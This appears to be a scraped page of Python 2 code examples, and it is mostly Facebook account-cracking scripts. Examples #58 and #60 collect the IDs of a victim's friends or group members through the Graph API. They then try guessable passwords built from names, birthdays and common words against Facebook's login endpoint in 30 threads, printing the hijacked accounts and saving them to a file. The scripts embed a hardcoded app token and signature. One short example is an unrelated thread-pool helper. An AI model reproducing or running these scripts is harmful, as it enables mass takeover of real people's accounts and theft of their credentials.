┃╭━━┫╰━╯┃┃┃┃┃┃┃╱┃┃╱╭╮┃┃┃╱┃┃╱┃┃╱╱╱┃┃
┃┃╱╱┃╭━╮┣╯╰╯┣┫┣┳┫┣╮┃╰╯┃╰━╯┃╱┃┃╱╱╱┃┃
╰╯╱╱╰╯╱╰┻━━━┻━━┻━━╯╰━━┻━━━╯╱╰╯╱╱╱╰╯

                           
Exemple #58
0
def pilih_hh2():
    global okay
    peak = raw_input("\033[37;1mroot@R15K1\033[31;1m-\033[37;1m#\033[32;1m ")
    if peak == '':
        print '\x1b[31;1m[!] \x1b[31;1mJangan kosong'
        pilih_mbf()
    else:
        if peak == '1' or peak == '01':
            os.system('reset')
            print logo
            r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket)
            z = json.loads(r.text)
            for s in z['data']:
                id.append(s['id'])

        else:
            if peak == '2' or peak == '02':
                os.system('reset')
                print logo
                idg = raw_input('\033[37;1m[\033[32;1m?\033[37;1m] Masukan ID group \033[36;1m:\033[37;1m ')
                try:
                    os.system('reset')
                    print logo
                    r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket)
                    asw = json.loads(r.text)
                    print '\033[31;1m[✓]\033[32;1m Groups\033[31;1m :\033[37;1m ' + asw['name']
                except KeyError:
                    print '\x1b[31;1m[!] \x1b[31;1mGroups Tidak Ditemukan'
                    raw_input('\n\x1b[1;91m[ \x1b[1;97mEnter Aja Gan \x1b[1;91m]')
                    menu()

                re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket)
                s = json.loads(re.text)
                for i in s['data']:
                    id.append(i['id'])

            else:
                if peak == '0' or peak == '00':
                    os.system('rm -rf cookie')
                    keluar()
                else:
                    print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada'
                    pilih_mbf()
    print '\033[31;1m[+] \033[32;1mTotal ID\033[31;1m : \033[37;1m'+str(len(id))
    print "\033[36;1m========================================================"

    def main(arg):
        user = arg
        try:
                a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket)
	        b = json.loads(a.text)
		pass1 = b['first_name'] + '123'
		data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
		q = json.load(data)
		if 'access_token' in q:
		    x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
		    z = json.loads(x.text)
		    print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass1+"\033[36;1m |\033[37;1m "+z['name']
                else:
                    pass2 = b['first_name'] + '12345'
                    data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                    q = json.load(data)
                    if 'access_token' in q:
                    	x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                        z = json.loads(x.text)
                        print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass2+"\033[36;1m |\033[37;1m "+z['name']
                    else:
                        pass3 = b['last_name'] + '123'
                        data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                        q = json.load(data)
                        if 'access_token' in q:
                            x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                            z = json.loads(x.text)
                            print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass3+"\033[36;1m |\033[37;1m "+z['name']
                        else:
                            lahir = b['birthday']
                            pass4 = lahir.replace('/', '')
                            data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                            q = json.load(data)
                            if 'access_token' in q:
                             	x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                                z = json.loads(x.text)
                                print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass4+"\033[36;1m |\033[37;1m "+z['name']
                            else:
                                pass5 = a['first_name'] + 'ganteng123'
                                data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                                q = json.load(data)
                                if 'access_token' in q:
                                    x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                                    z = json.loads(x.text)
                                    print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass5+"\033[36;1m |\033[37;1m "+z['name']
                                else:
                                    pass6 = a['first_name'] + 'cantik123'
                                    data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                                    q = json.load(data)
                                    if 'access_token' in q:
                                        x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                                        z = json.loads(x.text)
                                        print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass6+"\033[36;1m |\033[37;1m "+z['name']
                                    else:
                                        pass7 = 'doraemon'
                                        data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                                        q = json.load(data)
                                        if 'access_token' in q:
                                            x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                                            z = json.loads(x.text)
                                            print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass7+"\033[36;1m |\033[37;1m "+z['name']
                                        else:
                                            pass8 = 'sayang'
                                            data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                                            q = json.load(data)
                                            if 'access_token' in q:
                                                x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                                                z = json.loads(x.text)
                                                print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass8+"\033[36;1m |\033[37;1m "+z['name']
                                            else:
                                                pass9 = 'kontol123'
                                                data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6')
                                                q = json.load(data)
                                                if 'access_token' in q:
                                                    x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token'])
                                                    z = json.loads(x.text)
                                                    print "\033[37;1m[\033[32;1msucces\033[37;1m]\033[32;1m•>\033[37;1m "+user+"\033[36;1m |\033[37;1m "+pass9+"\033[36;1m |\033[37;1m "+z['name']
        except:
            pass
    meq = ThreadPool(30)
    meq.map(main, id)
    print "\033[31;1m========================================================"
    print "\033[32;1m[✓]\033[37;1m Done Ya Boss Q"
    os.system('rm -rf cookie')
    keluar()
Exemple #59
0
def sequence_parallel(fs):
    pool = ThreadPool(len(fs))
    try:
        return pool.map(lambda f: f(), fs)
    finally:
        pool.terminate()
Exemple #60
0
def pilih_super():
    peak = raw_input("\n\033[1;91mChoose an Option>>> \033[1;97m")
    if peak == "":
        print "\x1b[1;91mFill in correctly"
        pilih_super()
    elif peak == "1":
        os.system('clear')
        print logo
        print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mBlackMafia\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд"
        jalan('\033[1;93mGetting IDs \033[1;97m...')
        r = requests.get(
            "https://graph.facebook.com/me/friends?access_token=" + toket)
        z = json.loads(r.text)
        for s in z['data']:
            id.append(s['id'])
    elif peak == "2":
        os.system('clear')
        print logo
        idt = raw_input(
            "\033[1;96m[тЩб] \033[1;92mEnter ID link\033[1;93m: \033[1;97m")
        print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mB4baloch\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд"
        try:
            jok = requests.get("https://graph.facebook.com/" + idt +
                               "?access_token=" + toket)
            op = json.loads(jok.text)
            print "\033[1;93mName\033[1;93m:\033[1;97m " + op["name"]
        except KeyError:
            print "\x1b[1;92mID Not Found!"
            raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]")
            super()
        print "\033[1;93mGetting IDs\033[1;93m..."
        r = requests.get("https://graph.facebook.com/" + idt +
                         "/friends?access_token=" + toket)
        z = json.loads(r.text)
        for i in z['data']:
            id.append(i['id'])
    elif peak == "0":
        menu()
    else:
        print "\x1b[1;91mFill in correctly"
        pilih_super()

    print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m" + str(len(id))
    jalan('\033[1;92mPlease Wait\033[1;93m...')
    titik = ['.   ', '..  ', '... ']
    for o in titik:
        print("\r\033[1;91mCloning\033[1;93m" + o),
        sys.stdout.flush()
        time.sleep(1)
    print "\n\033[1;94m┬л-----\x1b[1;93mтЩбTo Stop Process Press CTRL+ZтЩб\033[1;94m----┬╗"
    print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mBlackMafia\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд"
    jalan(
        ' \033[1;93m .......................Cloning Start plzzz Wait....................... '
    )
    print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mBlackMafia\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд"

    def main(arg):
        global cekpoint, oks
        user = arg
        try:
            os.mkdir('out')
        except OSError:
            pass  #Dev:b4_baloch
        try:
            a = requests.get('https://graph.facebook.com/' + user +
                             '/?access_token=' + toket)
            b = json.loads(a.text)
            pass1 = ('india123')
            data = urllib.urlopen(
                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
            )
            q = json.load(data)
            if 'access_token' in q:
                print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass1
                oks.append(user + pass1)
            else:
                if 'www.facebook.com' in q["error_msg"]:
                    print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass1
                    cek = open("out/checkpoint.txt", "a")
                    cek.write(user + "|" + pass1 + "\n")
                    cek.close()
                    cekpoint.append(user + pass1)
                else:
                    pass2 = (j['first_name'] + 'gupta')
                    data = urllib.urlopen(
                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                    )
                    q = json.load(data)
                    if 'access_token' in q:
                        print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass2
                        oks.append(user + pass2)
                    else:
                        if 'www.facebook.com' in q["error_msg"]:
                            print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass2
                            cek = open("out/checkpoint.txt", "a")
                            cek.write(user + "|" + pass2 + "\n")
                            cek.close()
                            cekpoint.append(user + pass2)
                        else:
                            pass3 = (j['first_name'] + 'ansari')
                            data = urllib.urlopen(
                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                            )
                            q = json.load(data)
                            if 'access_token' in q:
                                print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass3
                                oks.append(user + pass3)
                            else:
                                if 'www.facebook.com' in q["error_msg"]:
                                    print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass3
                                    cek = open("out/checkpoint.txt", "a")
                                    cek.write(user + "|" + pass3 + "\n")
                                    cek.close()
                                    cekpoint.append(user + pass3)
                                else:
                                    pass4 = (j['first_name'] + 'khan')
                                    data = urllib.urlopen(
                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                        + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                    )
                                    q = json.load(data)
                                    if 'access_token' in q:
                                        print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass4
                                        oks.append(user + pass4)
                                    else:
                                        if 'www.facebook.com' in q[
                                                "error_msg"]:
                                            print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass4
                                            cek = open("out/checkpoint.txt",
                                                       "a")
                                            cek.write(user + "|" + pass4 +
                                                      "\n")
                                            cek.close()
                                            cekpoint.append(user + pass4)
                                        else:
                                            pass5 = (j['first_name'] + 'singh')
                                            data = urllib.urlopen(
                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                + (user) +
                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                            )
                                            q = json.load(data)
                                            if 'access_token' in q:
                                                print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass5
                                                oks.append(user + pass5)
                                            else:
                                                if 'www.facebook.com' in q[
                                                        "error_msg"]:
                                                    print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass5
                                                    cek = open(
                                                        "out/checkpoint.txt",
                                                        "a")
                                                    cek.write(user + "|" +
                                                              pass5 + "\n")
                                                    cek.close()
                                                    cekpoint.append(user +
                                                                    pass5)
                                                else:
                                                    pass6 = (j['first_name'] +
                                                             'thakur')
                                                    data = urllib.urlopen(
                                                        "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                        + (user) +
                                                        "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                    )
                                                    q = json.load(data)
                                                    if 'access_token' in q:
                                                        print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass6
                                                        oks.append(user +
                                                                   pass6)
                                                    else:
                                                        if 'www.facebook.com' in q[
                                                                "error_msg"]:
                                                            print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass6
                                                            cek = open(
                                                                "out/checkpoint.txt",
                                                                "a")
                                                            cek.write(user +
                                                                      "|" +
                                                                      pass6 +
                                                                      "\n")
                                                            cek.close()
                                                            cekpoint.append(
                                                                user + pass6)
                                                        else:
                                                            a = requests.get(
                                                                'https://graph.facebook.com/'
                                                                + user +
                                                                '/?access_token='
                                                                + toket)
                                                            b = json.loads(
                                                                a.text)
                                                            pass7 = (
                                                                j['first_name']
                                                                + 'sharma')
                                                            data = urllib.urlopen(
                                                                "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="
                                                                + (user) +
                                                                "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6"
                                                            )
                                                            q = json.load(data)
                                                            if 'access_token' in q:
                                                                print '\x1b[1;92mтШЮ{Hack}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass7
                                                                oks.append(
                                                                    user +
                                                                    pass7)
                                                            else:
                                                                if 'www.facebook.com' in q[
                                                                        "error_msg"]:
                                                                    print '\x1b[1;91mтШЮ{CP}\x1b[1;97m-\x1b[1;94mтЧП\x1b[1;97m-' + user + '-\x1b[1;94mтЧП\x1b[1;97m-' + pass7
                                                                    cek = open(
                                                                        "out/checkpoint.txt",
                                                                        "a")
                                                                    cek.write(
                                                                        user +
                                                                        "|" +
                                                                        pass7 +
                                                                        "\n")
                                                                    cek.close()
                                                                    cekpoint.append(
                                                                        user +
                                                                        pass7)

        except:
            pass

    p = ThreadPool(30)
    p.map(main, id)
    print "\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд\033[1;96mVirus\033[1;95mтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтАвтЧИтАвтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧдтЧетЧд"
    print "  \033[1;91m┬л---тАвтЧИтАв---Developed By Virus-Hacker--тАвтЧИтАв---┬╗"  #Dev:Virus_hacker
    print '\033[1;91mProcess Has Been Completed\033[1;92m....'
    print "\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m" + str(
        len(oks)) + "\033[1;97m/\033[1;93m" + str(len(cekpoint))
    print """
             Virus Society.
: \033[1;93m.Virus Community  Cloner.... \033[1;93m :
Virus Society.' 
                whatsapp Num
               Main Nhi Bataonga"""

    raw_input("\n\033[1;93m[\033[1;91mBack\033[1;93m]")
    menu()